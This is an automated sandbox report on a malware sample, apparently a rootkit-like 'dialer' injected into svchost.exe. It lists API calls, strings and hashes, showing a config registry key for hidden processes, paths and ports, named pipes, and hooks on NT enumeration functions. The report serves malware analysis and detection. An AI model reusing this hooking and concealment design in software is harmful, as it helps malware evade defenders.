Associated: 00000041.00000002.3278592017.0000000140503000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3278592017.000000014078B000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3278592017.000000014080D000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000041.00000002.3280646006.0000000140847000.00000004.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_140000000_dialer.jbxd

Yara matches

Similarity

API ID: ProtectVirtual$AddressCallerLibraryLoadProc
String ID:
API String ID: 1941872368-0
Opcode ID: a1a6b93e84e87096e5dff681e67215abf906e06b78acd350537f386d013f0bde
Instruction ID: 1d24a93eb9004fb9ff5f788f669610d725ede0fbeb3cf7fc7a03e9414d8a6cfe
Opcode Fuzzy Hash: a1a6b93e84e87096e5dff681e67215abf906e06b78acd350537f386d013f0bde
Instruction Fuzzy Hash: FE611A32F4026255EB274BB6AF843E87751931D7B4F49433DCB79423E6FA7488668B02

Analysis Process: svchost.exePID: 444, Parent PID: 7056COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	81
Total number of Limit Nodes:	2

Executed Functions

Function 00000257E10A1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A1633
HeapAlloc.KERNEL32 ref: 00000257E10A1642

Part of subcall function 00000257E10A1268: GetProcessHeap.KERNEL32 ref: 00000257E10A126E
Part of subcall function 00000257E10A1268: HeapAlloc.KERNEL32 ref: 00000257E10A127D
Part of subcall function 00000257E10A1268: GetProcessHeap.KERNEL32 ref: 00000257E10A1297
Part of subcall function 00000257E10A1268: HeapAlloc.KERNEL32 ref: 00000257E10A12A8

RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16B2
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16DF
RegCloseKey.ADVAPI32 ref: 00000257E10A16F9
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1719
RegCloseKey.ADVAPI32 ref: 00000257E10A1734
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1754
RegCloseKey.ADVAPI32 ref: 00000257E10A176F
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A178F
RegCloseKey.ADVAPI32 ref: 00000257E10A17AA
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A17CA
RegCloseKey.ADVAPI32 ref: 00000257E10A17E5
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1805
RegCloseKey.ADVAPI32 ref: 00000257E10A1820
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1840
RegCloseKey.ADVAPI32 ref: 00000257E10A185B
RegOpenKeyExW.ADVAPI32 ref: 00000257E10A187B
RegCloseKey.ADVAPI32 ref: 00000257E10A1896
RegCloseKey.ADVAPI32 ref: 00000257E10A18A0

Part of subcall function 00000257E10A12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000257E10A1319
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A1327
Part of subcall function 00000257E10A12BC: HeapAlloc.KERNEL32 ref: 00000257E10A1338
Part of subcall function 00000257E10A12BC: RegEnumValueW.ADVAPI32 ref: 00000257E10A1397
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A13DF
Part of subcall function 00000257E10A12BC: HeapAlloc.KERNEL32 ref: 00000257E10A13ED
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A140A
Part of subcall function 00000257E10A12BC: HeapFree.KERNEL32 ref: 00000257E10A1418
Part of subcall function 00000257E10A12BC: lstrlenW.KERNEL32 ref: 00000257E10A1421
Part of subcall function 00000257E10A12BC: GetProcessHeap.KERNEL32 ref: 00000257E10A142F
Part of subcall function 00000257E10A12BC: HeapAlloc.KERNEL32 ref: 00000257E10A143D

Strings

service_names, xrefs: 00000257E10A17C3
udp, xrefs: 00000257E10A1874
startup, xrefs: 00000257E10A16D5
SOFTWARE\dialerconfig, xrefs: 00000257E10A1692
paths, xrefs: 00000257E10A1788
pid, xrefs: 00000257E10A1712
tcp_local, xrefs: 00000257E10A17FE
tcp_remote, xrefs: 00000257E10A1839
process_names, xrefs: 00000257E10A174D

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 16feaae96375266c24b17968b5a080657b5ae57e6ff703aba3d68dcbcffacad4
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 2F711736358F1486EB15DF22FC5BB9963B4FB88B8AF001561EA4E47A68DF38C444C358

Function 00000257E10A328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000257E10A32AE
PathFindFileNameW.SHLWAPI ref: 00000257E10A32BD

Part of subcall function 00000257E10A3844: StrCmpNIW.SHLWAPI ref: 00000257E10A385C

Part of subcall function 00000257E10A3790: GetModuleHandleW.KERNEL32 ref: 00000257E10A379E
Part of subcall function 00000257E10A3790: GetCurrentProcess.KERNEL32 ref: 00000257E10A37CC
Part of subcall function 00000257E10A3790: VirtualProtectEx.KERNEL32 ref: 00000257E10A37EE
Part of subcall function 00000257E10A3790: GetCurrentProcess.KERNEL32 ref: 00000257E10A3809
Part of subcall function 00000257E10A3790: VirtualProtectEx.KERNEL32 ref: 00000257E10A382A

CreateThread.KERNEL32 ref: 00000257E10A330B

Part of subcall function 00000257E10A1D14: GetCurrentThread.KERNEL32 ref: 00000257E10A1D1F

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: aade9cdc764c3959dde9a52c1c94ad6719753b48d41f7c1d1db878778cbbdd05
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: A411F93269CF008AFB6EA761FC0F79E2294B7A4347F4081A5D906496D0EF7CC044C62C

Function 00000257E10A1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000257E10A1628: GetProcessHeap.KERNEL32 ref: 00000257E10A1633
Part of subcall function 00000257E10A1628: HeapAlloc.KERNEL32 ref: 00000257E10A1642
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16B2
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A16DF
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A16F9
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1719
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A1734
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1754
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A176F
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A178F
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A17AA
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A17CA

Sleep.KERNEL32 ref: 00000257E10A1AD7
SleepEx.KERNELBASE ref: 00000257E10A1ADD

Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A17E5
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1805
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A1820
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A1840
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A185B
Part of subcall function 00000257E10A1628: RegOpenKeyExW.ADVAPI32 ref: 00000257E10A187B
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A1896
Part of subcall function 00000257E10A1628: RegCloseKey.ADVAPI32 ref: 00000257E10A18A0

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: d712d7bd41ce4f32cb42d1788969e2e1ab98e8c502d066c5c5fdd1db537eb6f4
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 9F31F871298F4582FF5E9726FE4B3E923A4AB44BC2F0858615E0987695FF34C451C228

Function 00000257E107273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000257E107285E

Memory Dump Source

Source File: 00000042.00000002.3283125678.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: e1821c6af69327561f239fb501c7fdcfb84665abf8bb743926d129d5342e2f1a
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 4E617572B49B9087DB5AEF14E80B73DB3A2F744BE5F188161DE4903788CA78D852C704

Non-executed Functions

Function 00000257E10A2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000257E10A2BD0
lstrlenW.KERNEL32 ref: 00000257E10A2E0A

Part of subcall function 00000257E10A199C: OpenProcess.KERNEL32 ref: 00000257E10A19C2
Part of subcall function 00000257E10A199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000257E10A19E0
Part of subcall function 00000257E10A199C: PathFindFileNameW.SHLWAPI ref: 00000257E10A19EF
Part of subcall function 00000257E10A199C: lstrlenW.KERNEL32 ref: 00000257E10A19FB
Part of subcall function 00000257E10A199C: StrCpyW.SHLWAPI ref: 00000257E10A1A0E
Part of subcall function 00000257E10A199C: CloseHandle.KERNEL32 ref: 00000257E10A1A1C

GetProcAddress.KERNEL32 ref: 00000257E10A2BE5

Part of subcall function 00000257E10A152C: StrCmpIW.SHLWAPI ref: 00000257E10A155D

Part of subcall function 00000257E10A3844: StrCmpNIW.SHLWAPI ref: 00000257E10A385C

StrCmpNIW.SHLWAPI ref: 00000257E10A2C28
lstrlenW.KERNEL32 ref: 00000257E10A2D50

Strings

NtQueryObject, xrefs: 00000257E10A2BDB
\Device\Nsi, xrefs: 00000257E10A2C1B
ntdll.dll, xrefs: 00000257E10A2BC9

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: a05134c9a34ff4c1d66afd38e5ef54d71b3b96099cc726008d15654598d14383
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 3BB1D032258F5482EB6EDF25EC4B7A963A5F744B86F0450A6EE0953B95DF34CC80C398

Function 00000257E10A7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000257E10A7DAC
RtlCaptureContext.NTDLL ref: 00000257E10A7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000257E10A7DF3
RtlVirtualUnwind.NTDLL ref: 00000257E10A7E34
IsDebuggerPresent.KERNEL32 ref: 00000257E10A7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000257E10A7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000257E10A7EB4

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 219ced55679ac893985f66a80f0dbd7178f5651cf27174fbf386b8ec505e6a56
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 29314A72249F808AEB65DF60F8867EE7360F784745F44802ADA4E57B98EF38C648C714

Function 00000257E10AD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000257E10AD31D
RtlLookupFunctionEntry.NTDLL ref: 00000257E10AD335
RtlVirtualUnwind.NTDLL ref: 00000257E10AD370
IsDebuggerPresent.KERNEL32 ref: 00000257E10AD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000257E10AD3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000257E10AD3BE

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 3bbfa850ad8dbd0e4a6fa2243018912ee9c80721fc4e2599e2c74e45bb328308
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 1531AD32258F8086EB69CF25FC467AE73A0F789755F504166EA9D43B98EF38C145CB04

Function 00000257E10A12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000257E10A1319
GetProcessHeap.KERNEL32 ref: 00000257E10A1327
HeapAlloc.KERNEL32 ref: 00000257E10A1338
RegEnumValueW.ADVAPI32 ref: 00000257E10A1397

Part of subcall function 00000257E10A152C: StrCmpIW.SHLWAPI ref: 00000257E10A155D

GetProcessHeap.KERNEL32 ref: 00000257E10A13DF
HeapAlloc.KERNEL32 ref: 00000257E10A13ED
GetProcessHeap.KERNEL32 ref: 00000257E10A140A
HeapFree.KERNEL32 ref: 00000257E10A1418
lstrlenW.KERNEL32 ref: 00000257E10A1421
GetProcessHeap.KERNEL32 ref: 00000257E10A142F
HeapAlloc.KERNEL32 ref: 00000257E10A143D
StrCpyW.SHLWAPI ref: 00000257E10A145F
GetProcessHeap.KERNEL32 ref: 00000257E10A1476
HeapFree.KERNEL32 ref: 00000257E10A1484

Strings

d, xrefs: 00000257E10A135A

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: eced55502f1a75a026b6edf846e6a0891afcc2511a2fde73ec7a25957e053ce4
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 39517C32248F8486EB59CF66F84A75A77A1F389F8AF088524DE5907718DF3CC049C704

Function 00000257E10A1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000257E10A1D1F

Part of subcall function 00000257E10A1FD4: GetModuleHandleA.KERNEL32 ref: 00000257E10A1FEC
Part of subcall function 00000257E10A1FD4: GetProcAddress.KERNEL32 ref: 00000257E10A1FFD

Part of subcall function 00000257E10A5B30: GetCurrentThreadId.KERNEL32 ref: 00000257E10A5B6B

Strings

advapi32.dll, xrefs: 00000257E10A1DF7, 00000257E10A1E18
EnumServicesStatusExW, xrefs: 00000257E10A1E11, 00000257E10A1E32
NtQueryDirectoryFile, xrefs: 00000257E10A1D7F
sechost.dll, xrefs: 00000257E10A1E39
ntdll.dll, xrefs: 00000257E10A1D2D
NtQueryDirectoryFileEx, xrefs: 00000257E10A1D9C
NtQuerySystemInformation, xrefs: 00000257E10A1D45
EnumServiceGroupW, xrefs: 00000257E10A1DF0
NtResumeThread, xrefs: 00000257E10A1D62
NtEnumerateKey, xrefs: 00000257E10A1DB9
NtDeviceIoControlFile, xrefs: 00000257E10A1E56
NtEnumerateValueKey, xrefs: 00000257E10A1DD6

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 729b3f40a99a6114c8675349f500bf02ad9969b64215182506dd6b7d13de966c
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 6C319574298F4AE1EA0FEFA5FCABBD46325B75434BF8054A3940902576DF3C8249C768

Function 00000257E1076910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000257E1076938
__scrt_acquire_startup_lock.LIBCMT ref: 00000257E107698A
_RTC_Initialize.LIBCMT ref: 00000257E10769B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000257E10769DE
__scrt_release_startup_lock.LIBCMT ref: 00000257E1076A09

Strings

`eh vector vbase copy constructor iterator', xrefs: 00000257E10769EE
`dynamic initializer for ', xrefs: 00000257E10769C7
scriptor', xrefs: 00000257E1076B39, 00000257E1076BB2, 00000257E1076BEC
`eh vector copy constructor iterator', xrefs: 00000257E1076A3B

Memory Dump Source

Source File: 00000042.00000002.3283125678.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: c413f792152c6e77bcdec011d4ce604bdbff46f8c7e2d41a41648d6f97dd56db
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 7481476178CF0586F65FBB2ABC4F3B922D0E785782F5480A49A2647797DB38C8458B0C

Function 00000257E10ACE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000257E10ACE37
FlsGetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACE4C
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACE6D
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACE9A
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACEAB
FlsSetValue.KERNEL32(?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACEBC
SetLastError.KERNEL32 ref: 00000257E10ACED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF0D
FlsSetValue.KERNEL32(?,?,00000001,00000257E10AECCC,?,?,?,?,00000257E10ABF9F,?,?,?,?,?,00000257E10A7AB0), ref: 00000257E10ACF2C

Part of subcall function 00000257E10AD6CC: HeapAlloc.KERNEL32 ref: 00000257E10AD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF54

Part of subcall function 00000257E10AD744: HeapFree.KERNEL32 ref: 00000257E10AD75A
Part of subcall function 00000257E10AD744: GetLastError.KERNEL32 ref: 00000257E10AD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000257E10B0A6B,?,?,?,00000257E10B045C,?,?,?,00000257E10AC84F), ref: 00000257E10ACF76

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 44b74c0836ad876a2fac46d0e824247e53a8591ac7bd446e8d08f2f1267c89cf
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 3D4182703CDF4441FAAFA7357E5F3AD22815B447B2F6547A4A936066D6DE38C401872C

Function 00000257E10A2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000257E10A2259
GetCurrentProcessId.KERNEL32 ref: 00000257E10A2263

Part of subcall function 00000257E10A1934: OpenProcess.KERNEL32 ref: 00000257E10A1952
Part of subcall function 00000257E10A1934: IsWow64Process.KERNEL32 ref: 00000257E10A1968
Part of subcall function 00000257E10A1934: CloseHandle.KERNEL32 ref: 00000257E10A1983

CreateFileW.KERNEL32 ref: 00000257E10A22BC
WriteFile.KERNEL32 ref: 00000257E10A22E4
ReadFile.KERNEL32 ref: 00000257E10A2303
CloseHandle.KERNEL32 ref: 00000257E10A230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 00000257E10A2293
\\.\pipe\dialerchildproc64, xrefs: 00000257E10A228C

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: fd144254930c9193e2e316754b6910d439631fa1b8b54bcb3ad30ea55ac0c1ae
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: DB214F32658F4082FB19CB25F84A75A73A0F789BA6F504255EA6903BA8CF3CC149CF04

Function 00000257E10AA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000257E10AA5A1

Part of subcall function 00000257E10AB414: __GetUnwindTryBlock.LIBCMT ref: 00000257E10AB457
Part of subcall function 00000257E10AB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000257E10AB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000257E10AA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000257E10AA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000257E10AA9DA

Strings

csm, xrefs: 00000257E10AA5BB
csm, xrefs: 00000257E10AA69C
csm, xrefs: 00000257E10AA622

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: fa66f7741ebcd80bb86e54b7b1d1724f64a0d38ed48e78e569a20c50e363ff0f
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 46E1E572648F40CAEB6ADF65E84B39D77A0F748B99F100155EE8957B95CF34C081C714

Function 00000257E1079944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000257E10799A1

Part of subcall function 00000257E107A814: __GetUnwindTryBlock.LIBCMT ref: 00000257E107A857
Part of subcall function 00000257E107A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000257E107A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000257E1079A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000257E1079CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000257E1079DDA

Strings

csm, xrefs: 00000257E1079A9C
csm, xrefs: 00000257E1079A22
csm, xrefs: 00000257E10799BB

Memory Dump Source

Source File: 00000042.00000002.3283125678.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
